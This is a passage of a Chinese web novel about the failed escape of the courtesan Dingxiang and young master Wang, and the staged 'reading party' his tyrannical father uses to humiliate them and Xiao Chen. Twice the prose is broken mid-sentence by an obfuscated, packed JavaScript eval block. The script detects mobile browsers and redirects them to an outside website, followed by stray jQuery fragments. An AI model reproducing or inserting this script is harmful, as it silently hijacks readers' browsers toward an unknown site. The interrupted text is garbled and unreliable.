“不委屈。”丁香摇摇头,走到庙檐下坐下,望着远处起伏的山峦,眼神里满是新奇。这是她第一次如此真切地看到“外面的世界”,没有高墙,没有监视,连风都是自由的。 王公子捡了些枯枝,在庙里生起堆火,火苗噼啪作响,驱散了清晨的凉意。两人围着篝火坐着,谁都没说话,却不觉得尴尬。 太阳升高时,远处忽然传来马蹄声,两人瞬间绷紧了神经。王公子把丁香往神像后拉了拉,自己握紧腰间的匕首,屏住呼吸往外看——是两个过路的货郎,吆喝着走远了。 虚惊一场,两人都松了口气,相视一笑,眼里的紧张散去不少。 “我爹现在肯定气得跳脚。”王公子靠在墙上,语气带着点恶作剧般的得意。他长这么大,还是头一次如此“叛逆”,心里竟有种隐秘的痛快。 丁香想起王老爷狰狞的脸,轻轻叹了口气:“他不会善罢甘休的。” “管他呢。”王公子摆摆手,“反正咱们已经逃出来了。等过些日子,咱们往南走,去江南,那里水路多,他想找也找不到。” 江南……丁香愣了愣,想起花船上听客人们说过的江南,烟雨朦胧,画舫凌波,比北方多了几分温柔。 “好啊。”她笑着点头,眼里的光比篝火还要亮。 白日里,两人轮流守着,一人打盹,一人望风。王公子从小读的是圣贤书,哪里做过这种“流亡”的事,没多久就靠在墙上睡着了,眉头却还微微蹙着,像在梦里也在操心。 丁香看着他熟睡的样子,忽然觉得,这个曾经对她恶语相向的少年,其实也只是个被家族束缚的孩子。她轻轻拿起自己的外衫,盖在他身上——山里的午后,风还是凉的。 傍晚时分,两人简单吃了些干粮,又赶着马车往南走。夜色渐浓,星光落在车轮扬起的尘土上,像撒了把碎银。 “你会划船吗?”丁香忽然问。 王公子愣了愣:“不会,怎么了?” “江南多水,说不定要坐船呢。”她笑了笑,“到时候我教你,我以前在花船上,跟着船夫学过一点。” “好啊。”王公子扬了扬鞭子,马车跑得更快了,“你教我划船,我教你骑马,咱们在江南租个小院,你弹琴,我读书,像寻常人家那样……” 说到一半,他忽然停住了,脸颊有些发烫。这话太亲昵,像在描摹两人的将来,可他们……算什么呢? 车厢里的气氛又变得微妙起来。丁香低下头,看着自己的指尖,心跳却悄悄快了几分。 寻常人家……那样的日子,是她以前连想都不敢想的。 马车在夜色里继续前行,前路依旧未知,王老爷的追兵或许就在身后,可车厢里的两个人,心里却都生出了一点小小的、带着暖意的期待。 或许,真的能像他说的那样。 在江南,有个小院,有琴,有书,有自由的风。 有……彼此。 马车一路向南,走得愈发偏僻。王公子怕被认出来,特意换了身粗布衣裳,脸上沾了些灰,倒少了几分富家少爷的娇气,多了些寻常少年的质朴。丁香也剪短了头发,更像个清秀的书童,一路上帮着喂马、打水,倒也渐渐习惯了这样的奔波。 这日傍晚,两人在一处河边歇脚。王公子去附近村子买了些米粮,丁香则在河边生火,打算煮点稀粥。河水清澈,映着她的影子,头发短了,眉眼却依旧清亮。 “我买了两个馒头,还有块咸菜。”王公子提着布包回来,额角带着薄汗,“村里的人说,往前再走五十里,就是渡口,能坐船去江南。” 丁香眼睛亮了亮:“真的?” “嗯,那船家是跑私船的,给钱就走,不查来路。”王公子蹲下身帮她添柴,火苗舔着锅底,很快就冒出热气,“咱们明早就能到渡口,坐上船就安全了。” 粥煮好了,两人分着吃,就着咸菜啃馒头,竟也吃得香甜。晚风拂过河面,带着水汽的凉意,吹散了一路的疲惫。 “你说,到了江南,咱们住哪里?”丁香捧着粥碗,望着远处朦胧的山影。 “我身上带了些银子,”王公子说,“先租个小院,最好带个小池塘,你不是喜欢画兰草吗?可以在院里种些。” “那你呢?” “我?”王公子笑了笑,“我可以去私塾找个先生的活,教孩子们读书,总不至于饿死。”他顿了顿,看着她,“你要是还想弹琴,咱们就买架旧琴,闲时弹弹,也算自在。” 丁香听着他描摹的日子,嘴角忍不住上扬,眼里的光像落满了星星:“那样……真好。” 长这么大,她从未想过“自在”是什么滋味。在花船是卖艺,在王府是囚徒,如今却有人跟她描绘“种兰草、弹旧琴”的日子,像一场不真实的梦。 夜里,两人轮流守夜。轮到丁香时,她靠在马车边,望着满天星斗,心里一片安宁。王公子睡得很沉,呼吸均匀,大概是真的累坏了。她看着他的睡颜,忽然想起肖晨——那个温润如玉的公子,此刻或许正和李傲雪安稳度日,早已忘了花船上的一面之缘。 也好,忘了才好。 她轻轻叹了口气,将那些过往的碎片,连同那幅肖像画一起,悄悄压在心底。往前看,才有活路。 天刚蒙蒙亮,两人就收拾好东西,赶着马车往渡口去。一路紧赶慢赶,总算在日头升高前到了河边。渡口停着几艘船,王公子找到那艘私船,跟船家低声说了几句,塞了块银子,船家打量了他们两眼,点了点头:“上来吧,半个时辰后开船。” 两人刚把马车赶到船上,忽然听见岸上有人喊:“站住!那辆马车!” 王公子和丁香同时回头,只见十几个家丁模样的人正往渡口跑来,为首的正是王家的管家! “不好,被追上了!”王公子脸色一白,一把将丁香往船舱里推,“你先进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993199|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲着,我去应付!” 管家已经带人冲上船,指着王公子怒吼:“逆子!果然是你!赶紧跟我回去,不然老爷饶不了你!” 王公子挡在船舱门口,脸色铁青:“我不回去!” “还敢犟嘴?”管家使了个眼色,家丁们立刻围上来,“把少爷和那个女人都带走!” “谁敢动她!”王公子抽出腰间的匕首,虽然手在抖,眼神却异常坚定,“我就是死,也不会跟你们回去!” 丁香在船舱里听得心头发紧,她知道王公子护不住她,这些家丁都是练过的,他一个文弱书生根本不是对手。她咬了咬牙,猛地推开舱门:“别伤他!我跟你们走!” 王公子回头,满脸震惊:“丁香!你别……” “少爷,”丁香看着他,眼里含着泪,却笑了,“谢谢你带我出来过。够了。” 她知道,自己逃不掉的。王老爷要找的是她,只要她跟他们回去,或许能放他一条生路。 管家眼睛一亮:“还是你识相!把她绑了!” 家丁们上前要抓丁香,王公子却疯了似的扑过来,用匕首挡开他们:“不准碰她!要带就带我一起!” 混乱中,不知是谁推了一把,王公子踉跄着撞在船舷上,匕首掉在河里,溅起一朵水花。家丁们趁机上前,将他死死按住。 “带走!”管家厉声喝道。 丁香被两个家丁架着,回头看了眼被按在地上的王公子,他正红着眼嘶吼:“放开她!放开她!” 她的眼泪终于掉了下来,却用力眨了眨眼,把他的样子刻在心里。 够了。 真的够了。 至少,她见过自由的样子。 至少,有人为她拼过命。 家丁们将她拖上岸,往远处的马车走去。她最后回头看了一眼,渡口的船已经扬帆,王公子被按在船上,正朝着她的方向拼命挣扎,像一只即将被关进笼子的鸟。 风里,似乎还能听见他嘶哑的喊声。 “丁香——” 她闭上眼,任由眼泪滑落。 江南的梦,碎了。 可心里那点被点燃过的光,却好像永远不会灭了。 王老爷把王公子拖回府,连骂带打了一顿,最后直接锁进了后院的柴房,派人严加看管,撂下话:“没我的允许,不许他踏出柴房半步,更不许他靠近那女人的院子!” 王公子在柴房里又踢又骂,嗓子都喊哑了,却没人敢应声。他知道,父亲这是铁了心要断了他和丁香的念想。 另一边,丁香被重新安置在城郊的别院,比王府的偏院更偏僻,守卫也加了倍,连只蚊子都飞不出去。她坐在窗边,望着院子里光秃秃的树,手里紧紧攥着那枚早已没用的银哨,指尖冰凉。 江南的梦碎了,可她不后悔。至少,她看清了王公子的真心,也尝过自由的滋味。 而王府里,王老爷坐在书房,越想越气,既气儿子的叛逆,也气丁香的不识抬举。他摩挲着茶盏,忽然眼里闪过一丝阴狠的算计,对身旁的管家招了招手:“你过来。” 管家凑上前,王老爷压低声音道:“明天办一场宴会。” “宴会?”管家愣了愣,“老爷是想……” “你以‘读书会’的名义,”王老爷嘴角勾起一抹冷笑,“把城里那些读书人都请来,尤其是……肖家的那个小子,肖晨。” 管家心里一动:“老爷是说……让肖公子也来?” “对。”王老爷点点头,“你亲自去请,就说有稀世孤本要赏,他爱书如命,定会来的。” 管家眨了眨眼,隐约猜到了几分:“那……丁香姑娘那边?” “让她打扮得素净些,”王老爷慢悠悠道,“宴会上,安排她出来弹琴。” 他顿了顿,眼神里透着残忍的笑意:“把柴房的那小子也带来,让他在屏风后看着,嘴巴给我堵上,不许他出声。我要让他好好看看,他拼死护着的女人,在我手里,不过是个供人取乐的玩意儿。” 管家心里一寒,这是要往死里磋磨少爷啊。可他不敢多言,连忙应道:“是,小的这就去安排。” 王老爷看着管家离去的背影,端起茶盏一饮而尽,眼底满是势在必得的阴狠。 逆子?想护着那女人? 他倒要看看,等这小子亲眼看着丁香在众人面前弹琴,看着她被那些读书人评头论足,还能不能硬气起来。 他就是要折断这小子的翅膀,让他知道,在王家,谁才是说了算的人。 至于那个肖晨……王老爷想起上次花船上的事,嘴角的笑意更冷了。听说那小子也对这女人上过心?正好,让他也来“欣赏”欣赏,看看自己惦记过的女人,如今成了谁的掌中之物。 一石二鸟,再好不过。 夜色渐深,王府里张灯结彩,忙着布置宴会,一派热闹景象。 柴房里,王公子还在不停地砸门,声音嘶哑:“放我出去!你们这群混蛋!我爹就是个老顽固!” 没人理他。 别院的窗边,丁香看着天边的残月,轻轻叹了口气。她知道,王老爷不会就这么放过她,可她没想到,他竟会用这种方式来羞辱她,羞辱那个为她拼命的少年。 明天的宴会,怕是一场鸿门宴。 她摸了摸藏在衣襟里的肖晨的画,指尖微微颤抖。 若是……若是在宴会上见到他,该怎么办? 是该让他认出自己,还是假装陌路? 她不知道。 她只知道,明天,注定是难熬的一天。 无论是她,还是被关在柴房里的王公子,抑或是那个即将被蒙在鼓里的肖晨。 第二天一早,肖晨正在书房练字,李傲雪端着刚沏好的茶走进来,笑着说:“少爷,林羽公子来了,在客厅等着呢。” 肖晨放下笔,擦了擦手:“他怎么来了?”这几日他一心扑在书本上,偶尔陪李傲雪说说话,日子过得平静,倒把外面的事淡忘了些。 到了客厅,林羽正拿着本闲书翻看,见他进来,连忙起身:“肖兄!” “林兄今日怎么有空过来?”肖晨请他坐下,李傲雪奉上茶便识趣地退了出去。 “这不是有好事想着你嘛。”林羽笑着凑近,“王老爷家今日办了场读书会,说是请了城里不少读书人,还拿出几本孤本赏玩,特意托人来请你,我想着你肯定感兴趣,就先来知会一声。” 肖晨愣了愣:“王家?王老爷?”他对那位王老爷没什么好感,总觉得那人满身铜臭,不像个爱书的。 “嗨,管他是谁,有孤本看就行啊。”林羽摆摆手,“听说还有上好的茶点,咱们去凑个热闹,说不定还能遇上几个志同道合的朋友。” 肖晨犹豫了一下:“不会是什么不干净的场合吧?”他想起上次在花船的事,心里还有些芥蒂。 “放心,正经读书会,”林羽拍着胸脯保证,“去的都是些读书人,王老爷就算再爱排场,也不会在这种场合乱来。再说了,有我陪着你呢。” 肖晨看着他一脸期待的样子,又想起那些“孤本”,心里终究是好奇占了上风。他这些日子闷在府里,也确实想出去透透气,便点了点头:“好,那我就随你去看看。” 林羽眼睛一亮:“这才对嘛!咱们中午过去,正好赶上赏书的时辰。” 两人又闲聊了几句,林羽便起身告辞,说要回去准备准备。 林羽走后,李傲雪走进来,见肖晨在收拾书袋,轻声问:“少爷真要去王家的读书会?” “嗯,去看看也好。”肖晨笑了笑,“听说有孤本,去长长见识。” 李傲雪没再多说,只是帮他整理好衣襟:“那我给你备些点心带着,路上饿了好吃。”她总觉得王家那场读书会,不像表面那么简单,心里隐隐有些不安,却又说不出哪里不对。 肖晨没察觉她的异样,只当她是关心自己,笑着应下:“好。” 他拿起书袋,心里想着即将见到的孤本,还有那些可能遇到的读书人,竟生出几分期待。 他完全没料到,这场看似寻常的读书会,会让他再次见到那个以为早已远去的身影。 更没料到,等待他的,不是书香墨韵,而是一场精心策划的羞辱。 中午时分,肖晨跟着林羽坐上马车,往王家而去。车轮碾过青石板路,发出规律的声响,阳光透过车窗洒进来,暖洋洋的,一切都显得平静无波。 肖晨靠在车壁上,闭目养神,嘴角带着浅浅的笑意。 他以为这只是一场普通的聚会。 却不知,命运早已在前方布下了一张网,正等着他一头撞进去。 39. 他不得不像现实妥协 王公子被家丁从柴房拖出来时,头发乱糟糟的,衣衫上还沾着尘土,眼里满是戾气。王老爷坐在正厅的太师椅上,冷冷地看着他:“待会儿给我老实点,不许出声,更不许乱动。” “我凭什么听你的?”王公子梗着脖子,“你把丁香放了!” “放了她?”王老爷冷笑一声,“等你看清楚她是什么货色,再说这话也不迟。”他冲家丁使了个眼色,“带他去暗格,看好了,要是让他坏了我的事,仔细你们的皮!” 暗格就在大厅侧墙的书架后,狭小的空间只能容下一个人,刚好能透过书架的缝隙看清大厅里的动静。王公子被推进去时,嘴里还在骂骂咧咧,直到家丁用布条堵住他的嘴,他才只能发出呜呜的声响,眼里的怒火几乎要烧出来。 他死死盯着缝隙外的大厅,心里只有一个念头:父亲到底要做什么? 没过多久,大厅里渐渐热闹起来。读书人们三三两两地聚着,有的围着桌子看孤本,有的凑在一起讨论诗文,空气中弥漫着茶点的香气,倒真像个正经的读书会。 肖晨跟着林羽走进来时,目光先扫过那些摊开的古籍,眼里果然露出几分兴致。他走到一本《南华经》的孤本前,仔细翻看,指尖轻轻拂过泛黄的纸页,低声赞叹:“果然是好东西。” 林羽在一旁笑着说:“我就说你会感兴趣吧?” 两人正说着,王老爷满面红光地走过来,拱手道:“肖公子能来,王某真是蓬荜生辉啊!” 肖晨客气地回了礼,心里却对他这副热情的样子有些不适,只淡淡道:“王老爷客气了,是晚辈叨扰了。” 王老爷没在意他的冷淡,笑着招呼:“快请坐,上好茶!” 就在这时,厅外传来一阵轻柔的脚步声。众人循声望去,只见一个素衣女子抱着琴,缓步走了进来。她低着头,长发垂在肩头,遮住了大半张脸,只露出一截线条柔和的下颌,身姿纤细,像株风中的兰草。 “这是……”有人低声议论,“王老爷还请了弹琴的?” 王老爷拍了拍手,笑道:“诸位读书辛苦,我特意请了位姑娘来弹几曲,助助兴。” 女子走到厅中央,放下琴,缓缓坐下。当她抬起头,调试琴弦时,肖晨的目光无意间扫过,整个人猛地僵住,手里的书差点掉在地上。 是她。 丁香。 他怎么也没想到,会在这里见到她。 她瘦了些,脸色也更苍白了,眼神里没了当初在花船上的灵动,只剩下一片沉寂,像蒙了尘的玉。 肖晨的心跳瞬间乱了,手指紧紧攥着书页,指节泛白。她怎么会在王家?她不是走了吗? 而暗格里,王公子透过缝隙看到丁香的那一刻,喉咙里发出“呜呜”的嘶吼,拼命挣扎着想冲出去,却被家丁死死按住。他看着她素净的装扮,看着她被迫坐在那里弹琴,眼里的怒火几乎要将布条烧穿。 父亲果然是故意的!他就是要让自己看着她被当作玩物,被这些人打量、评头论足! 王公子死死咬着牙,眼泪不受控制地涌上来,不是为自己,是为那个被迫低头的女子。 厅中央,丁香的指尖落在琴弦上,第一个音符响起时,带着难以察觉的颤抖。她的目光无意识地扫过人群,当看到肖晨那张震惊的脸时,瞳孔猛地一缩,指尖的力道重了些,琴弦发出一声刺耳的杂音。 她慌忙低下头,重新拨动琴弦,琴声渐渐流畅起来,却带着一股说不出的哀婉,像秋夜里的风声,听得人心头发涩。 肖晨站在原地,一动也动不了。他看着她低垂的眉眼,看着她弹奏时微微颤抖的肩膀,忽然明白了什么。 她不是走了,是被王老爷…… 一股说不清道不明的情绪涌上心头,有震惊,有愤怒,还有一丝连他自己都没察觉的心疼。 林羽在一旁没注意到他的异样,只听着琴声赞叹:“弹得真好,就是调子太悲了些。” 肖晨没说话,视线紧紧锁在丁香身上,再也移不开。 暗格里的王公子,透过缝隙看着这一切。他看着丁香被迫弹琴,看着肖晨震惊的神情,看着父亲那副得意的嘴脸,心里像被刀割一样疼。 他想喊,想告诉所有人这女人是被强迫的,想冲出去带她走。 可他只能眼睁睁看着,什么也做不了。 布条勒得他嘴角生疼,眼泪混合着屈辱和愤怒,从眼角滑落。 大厅里,琴声还在继续,哀婉缠绵,像一曲无声的控诉。 而这场看似风雅的读书会,早已变成了一场精心布置的酷刑。 对丁香是,对王公子是,对肖晨……亦是。 王老爷看着厅里肖晨那副失魂落魄的样子,嘴角勾起一抹冷笑,对身旁的管家使了个眼色:“去,让他们‘偶遇’一下,说几句话。”又转头对押着王公子的家丁道,“把他带到回廊那边,让他好好听听,这女人是不是真值得他拼死护着。” 管家会意,悄悄走到丁香身边,低声说了句“王老爷让你去偏厅歇歇”,又对肖晨那边努了努嘴。肖晨正心神不宁,见状便借故离了席,往偏厅走去。 刚到偏厅门口,丁香也被“引”了过来,两人在廊下撞了个正着。 “你……”肖晨看着她,千言万语堵在喉头,最后只问出一句,“你为什么会在这里?是不是他……买了你?” 丁香的身子晃了晃,脸色瞬间惨白,她慌忙低下头,声音细若蚊蝇:“公子,你不要说了。” “怎么能不说?”肖晨上前一步,语气里带着急切,“他是不是强迫你了?你告诉我,我……” “没用的。”丁香猛地抬起头,眼里含着泪,却异常坚定,“你我都无法改变。他是王老爷,权势滔天,我不过是他买回来的物件,想怎么处置就怎么处置。” “我可以去求情!”肖晨脱口而出,“我去跟他说,让他放了你!” 丁香看着他一脸认真的样子,忽然笑了,笑得带着几分苦涩:“求情?公子觉得,他会听你的吗?你可知,我若是走了,你会被他记恨,肖家说不定都会被连累。我已经够苦了,不想再拉着别人一起下水。” “我不怕连累!”肖晨的声音有些发颤,“当初在花船……” “那都是过去的事了。”丁香打断他,眼底的光一点点暗下去,“公子有少夫人相伴,日子过得安稳,何必再来蹚这浑水?就当……就当从来没见过我吧。” 她说着,往后退了一步,对着他福了福身:“公子保重,我先回去了。” 转身时,眼泪终于忍不住掉了下来,砸在青石板上,晕开一小片湿痕。 肖晨看着她决绝的背影,伸出手想拉住她,却又僵在半空。 他说得轻巧,可他真的能对抗王老爷吗?真的能不顾肖家的安危吗? 丁香说得对,他什么也做不了。 廊下的风带着凉意,吹得他心头发冷。 而不远处的回廊拐角,王老爷让人把王公子带在那里,特意没堵他的嘴。 王公子听着两人的对话,尤其是听到丁香那句“不想连累你”时,浑身都在发抖。 她到了这个地步,还在替别人着想! 他猛地转头,死死盯着不远处的王老爷,眼神里的恨意几乎要化为实质:“你听到了吗?这就是你说的‘不值得护着’的女人!她比你,比这府里所有的人都干净!” 王老爷看着他激动的样子,不仅没生气,反而笑了:“怎么?这就心疼了?你听听她的话,她自己都认了是我买回来的物件,你还护着她做什么?” “她是被逼的!”王公子怒吼,“你这个老东西,你根本不懂什么叫尊严!” “尊严?”王老爷嗤笑一声,“在我这里,银子就是尊严!她要是真有骨气,当初就不该被我买回来!” “你!”王公子气得浑身发抖,却一句话也说不出来。 他看着丁香消失的方向,又看了看肖晨那副无力的样子,忽然明白了父亲的用意。 父亲就是要让他看清,没人能救她,没人能对抗王家的权势,连肖晨这样的世家公子都不行。 他想护着她,可他什么也做不了。 这种无力感,比被关在柴房里更让他绝望。 王公子踉跄着后退一步,靠在廊柱上,眼里的光一点点熄灭。 或许,丁香说得对。 有些事,从一开始就注定了结局。 他和她,都逃不掉。 肖晨在廊下站了许久,心头那股不甘像野草般疯长。他知道自己人微言轻,可一想到丁香那双绝望的眼睛,就无论如何也迈不开离开的脚步。 他深吸一口气,转身往正厅走,打定主意要找王老爷谈谈。 王老爷正陪着几位读书人谈笑风生,见肖晨过来,眼里闪过一丝了然的笑意,故意提高了声音:“肖公子怎么过来了?是不是那孤本还没看够?” 肖晨没心思应酬,直接开门见山:“王老爷,晚辈有一事相求。” “哦?肖公子请讲。”王老爷端起茶杯,慢悠悠地抿了一口,等着他的下文。 周围的人也安静下来,好奇地看着他们。 肖晨迎着众人的目光,硬着头皮道:“请您放了丁香姑娘。” 话音刚落,厅里一片寂静。 王老爷放下茶杯,脸上的笑淡了下去,似笑非笑地看着他:“肖公子说什么?放了谁?” “丁香姑娘。”肖晨迎着他的目光,语气坚定,“她本就不属于这里,您强行将她留下,未免有失妥当。” “有失妥当?”王老爷像是听到了什么笑话,哈哈大笑起来,“肖公子怕是忘了,这女人是我花银子买回来的,是我的人,我想留就留,想放就放,轮得到外人来指手画脚?” “买卖人口本就不合规矩!”肖晨据理力争,“她是个活生生的人,不是物件!” “在我眼里,她就是物件。”王老爷的脸色沉了下来,带着几分威胁,“肖公子年纪轻轻,还是管好自己的事为好,别为了不相干的人,惹得大家不快。” 肖晨还想再说,却被王老爷打断:“再说了,肖公子这么关心她,莫非是对她有意思?”他凑近一步,压低声音,语气暧昧,“不瞒你说,这女人性子烈得很,到现在都不让我碰,还是个清白身子呢。” 这话像一记耳光,狠狠扇在肖晨脸上,也扇在厅里所有人的心上。几个年长的读书人皱起眉,显然对这种露骨的话很不齿。 肖晨的脸瞬间涨得通红,又气又怒,指着王老爷:“你……你简直无耻!” “无耻?”王老爷冷笑,“我不过是实话实说。肖公子要是真喜欢,也不是不能商量,只要你开口求我,说不定我高兴了,还能割爱……” “你住口!”肖晨再也忍不住,转身就往外走。他算是看明白了,跟这种人根本没道理可讲,多说一句都是侮辱。 王老爷看着他愤然离去的背影,嘴角勾起一抹得意的笑。 目的达到了。 既羞辱了肖晨,又让他彻底断了念想,还能让暗格里的儿子看看——这就是他寄予希望的“帮手”,不过是个一戳就破的纸老虎。 而回廊拐角,王公子听着父亲那些无耻的话,指甲深深掐进掌心,血珠渗了出来都没察觉。 他看着肖晨愤然离去的背影,又想起丁香刚才含泪的眼神,心里只剩下无尽的悲凉。 原来,在绝对的权势面前,所谓的道理、尊严,都如此可笑。 他和她,终究是逃不掉了。 王公子缓缓闭上眼睛,一行清泪顺着脸颊滑落。 大厅里的笑声、议论声,像无数根针,扎得他心口生疼。 这场精心策划的读书会,最终以一场难堪的闹剧收场。 肖晨几乎是踉跄着冲出王家大门,胸口像是堵着一团火,烧得他喘不过气。王老爷那副嘴脸、那些污秽的话,还有丁香转身时含泪的眼,在他脑海里反复盘旋,搅得他心乱如麻。 “肖兄,怎么了这是?”林羽追出来,见他脸色铁青,连忙问道,“里面出什么事了?” 肖晨猛地停下脚步,攥紧拳头,指节泛白:“那不是什么读书会,是个陷阱!王老爷就是个无耻之徒!” 林羽被他吼得一愣,随即反应过来:“他对你做什么了?” 肖晨张了张嘴,却把那些话咽了回去。说出来,既是对丁香的亵渎,也是对自己的羞辱。他摇摇头,声音沙哑:“没什么,我们走。” 回去的路上,马车里一片死寂。肖晨靠在车壁上,闭着眼,脑海里反复出现丁香抱着琴的样子。她素衣单薄,像株风雨里的兰草,明明在发抖,却还要挺直脊背。 他想起自己刚才的无能——除了愤怒地离开,什么也做不了。他承诺要为她求情,却连一句完整的话都没能说出口。 “对不起……”他对着空气,低声说了一句,声音轻得几乎听不见。 而王家大宅里,闹剧散场后,王老爷看着满地狼藉,心情却异常舒畅。他瞥了眼廊下失魂落魄的儿子,冷哼一声:“现在看清了?谁也救不了她,你也一样。” 王公子没说话,只是死死咬着牙,转身往柴房走。他的背影比来时更佝偻,却透着一股说不出的执拗。 王老爷看着他的背影,眼里闪过一丝诧异,随即被不屑取代:“还犟?我看你能犟到几时。” 管家凑上来:“老爷,那丁香姑娘……” “看好她,”王老爷沉声道,“别让她寻死觅活,也别让她再跟这逆子有任何牵扯。”他顿了顿,眼里闪过一丝阴狠,“等过些日子,找个机会,把她送到庄子上去,眼不见为净。” 管家心里一凛,知道“送到庄子上”是什么意思——那地方偏僻荒凉,多半是有去无回。他连忙应道:“是,小的明白。” 几日后,丁香正在别院的窗前描兰草,忽然进来两个粗使婆子,不由分说就架起她往外走。 “你们干什么?放开我!”丁香挣扎着,手里的画笔掉在地上,墨汁溅了一地。 “姑娘别挣扎了,”一个婆子面无表情地说,“老爷吩咐了,送您去庄子上静养。” 丁香的心猛地一沉,她知道,这一去,怕是再无翻身之日。她挣扎着回头,望着王府的方向,眼里满是绝望。 王公子被关在柴房里,直到三日后才被放出来。他第一时间就往别院跑,却只看到空荡荡的院子,桌上还放着那幅没画完的兰草图,墨汁早已干涸。 “人呢?丁香呢?”他抓住一个洒扫的丫鬟,厉声问道。 丫鬟被他吓了一跳,哆哆嗦嗦道:“丁……丁香姑娘被送去庄子上了,三日前就走了……” 王公子如遭雷击,踉跄着后退几步,撞在廊柱上。 庄子上。 他知道那个地方,荒无人烟,只有几个看管的家丁,多少不听话的下人被送过去,再也没回来过。 “父亲……”他低声念着,眼里的光彻底熄灭了,只剩下一片死寂。 他终究还是没能护住她。 这场以爱为名的挣扎,最终还是败给了权势和命运。 王公子缓缓蹲下身,捡起地上那支沾着干涸墨汁的画笔,紧紧攥在手心。 笔杆硌得掌心生疼,却远不及心口的万分之一。 他不知道丁香在庄子上会遭遇什么,不知道她是否还活着。 他只知道,自己的人生里,从此少了一株风中的兰草,多了一道永远淌血的伤疤。 而肖晨,自那日后,再也没踏出过肖府半步。他把自己埋在书本里,可每当夜深人静,总能听见那哀婉的琴声,看见那双含泪的眼。 他终究是欠了她的。 欠她一句道歉,欠她一个没能兑现的承诺。 江南的烟雨,终究没能等来那两个向往自由的人。 王家的高墙依旧矗立,只是从此,偏院和柴房里,都只剩下无尽的空寂。 有些错过,就是一生。 有些遗憾,注定无解。 王老爷坐在太师椅上,指尖敲着桌面,发出沉闷的声响。家丁把王公子推进来时,他刚从柴房出来,眼窝深陷,下巴上冒出些胡茬,整个人透着股颓败的倔强。 “坐。”王老爷抬了抬下巴,语气听不出喜怒。 王公子没动,梗着脖子站在原地,像头不肯低头的困兽。 王老爷也不逼他,慢悠悠地倒了杯茶:“我问你,那日在回廊,你都听见了?” 王公子攥紧拳头,没应声。 “我要是真放了丁香,”王老爷呷了口茶,目光落在他脸上,带着几分嘲弄,“你觉得她会爱上你?别忘了,肖晨在她心里是有位置的,你拼死拼活救她出去,她未必会领你的情。” 这话像针,扎得王公子心口发疼。他确实想过,若真逃到江南,她会不会……可父亲的话,戳破了那点自欺欺人的念想。 “只要她在府里,”王老爷继续说,声音里带着诱惑,“你起码还能看见她,知道她平安。若是她真跟了别人——不管是肖晨,还是哪个不知名的小子,你甘心?” 王公子猛地抬头,眼里满是愤怒:“你把她当什么了?物件吗?可以让来让去?” “不然呢?”王老爷放下茶杯,冷笑一声,“她本就是我花银子买来的,我想给谁就给谁。你要是识相,别再跟我作对,安安分分做你的王家少爷,”他顿了顿,说出那句最腌臜的话,“等我玩腻了她,再送给你。到时候,她身子是你的,人也跑不了,不比现在这样看得见摸不着强?” “你无耻!”王公子像被踩了尾巴的猫,猛地冲上前,却被家丁死死按住。他红着眼嘶吼,“她不是玩物!你不配提她的名字!” “配不配,不是你说了算。”王老爷看着他激动的样子,反而笑了,“你好好想想我的话。是看着她留在府里,将来还有机会留在你身边;还是逼我动真格,把她送去庄子上,让你这辈子都见不着。” 他站起身,走到王公子面前,拍了拍他的脸:“别傻了,儿子。这世道就是这样,有权有银子,才能握住想握的东西。你跟我犟,最后什么也得不到。” 说完,他挥挥手,让家丁把人拖出去。 王公子被拖出书房时,喉咙里发出困兽般的呜咽。父亲的话像毒蛇,钻进他心里,缠得他喘不过气。 甘心吗? 他不甘心丁香留在这泥沼里,更不甘心她跟别人走。 可父亲那句“等我玩腻了再送给你”,像块烧红的烙铁,烫得他五脏六腑都在疼。 他回到自己院里,把自己关了三天三夜。 第四天开门时,眼底的红血丝褪了,却多了层死寂。他走到偏院——那里早已空无一人,只有风吹过窗棂的呜咽声。 他知道父亲的话是毒药,却偏偏有几分道理。 至少,能让她活着。 至少,还能有个念想。 王公子慢慢蹲下身,捡起地上那支丁香遗落的画笔,指尖触到干涸的墨汁,凉得刺骨。 他终究还是低头了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993200|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不是因为懦弱,是因为他实在想不出别的办法。 除了用这种屈辱的方式,留住她最后一点生机。 他对着空院,低声说了句什么,风一吹就散了,连他自己都没听清。 或许是“我等”,或许是“对不起”。 又或许,只是一声无声的叹息。 在这场权势与尊严的较量里,他终究还是输了。输得一败涂地,连带着那份刚冒头的、小心翼翼的喜欢,都染上了洗不清的污秽。 王公子蹲在空院里,指尖摩挲着那支冰冷的画笔,管家的声音像带着钩子,一句句钻进耳朵里。 “少爷,老爷的话糙理不糙。”管家站在他身后,声音放得平缓,“这世道就是这样,拳头硬、家底厚,才能护得住人。丁香姑娘留在府里,就算一时受委屈,起码衣食无忧,没人敢真伤她——毕竟,老爷还没厌弃她,您也还惦记着。” 他顿了顿,走近一步:“可要是真放她走了呢?她一个弱女子,手无缚鸡之力,肖公子那边……您也看见了,连王老爷的面子都不敢硬顶,真能护她周全?万一她走投无路,被哪个有权有势的看上,或是落到比王府更糟的地方,您能安心?” 王公子的肩膀几不可察地抖了抖。 “您喜欢她,难道不想拥有她?”管家的声音带着点循循善诱,“老爷说了,等他腻了就给您。到时候,您把她护在自己院里,谁也不敢再欺负她,她想弹琴就弹琴,想画画就画画,不比让她在外头颠沛流离强?” 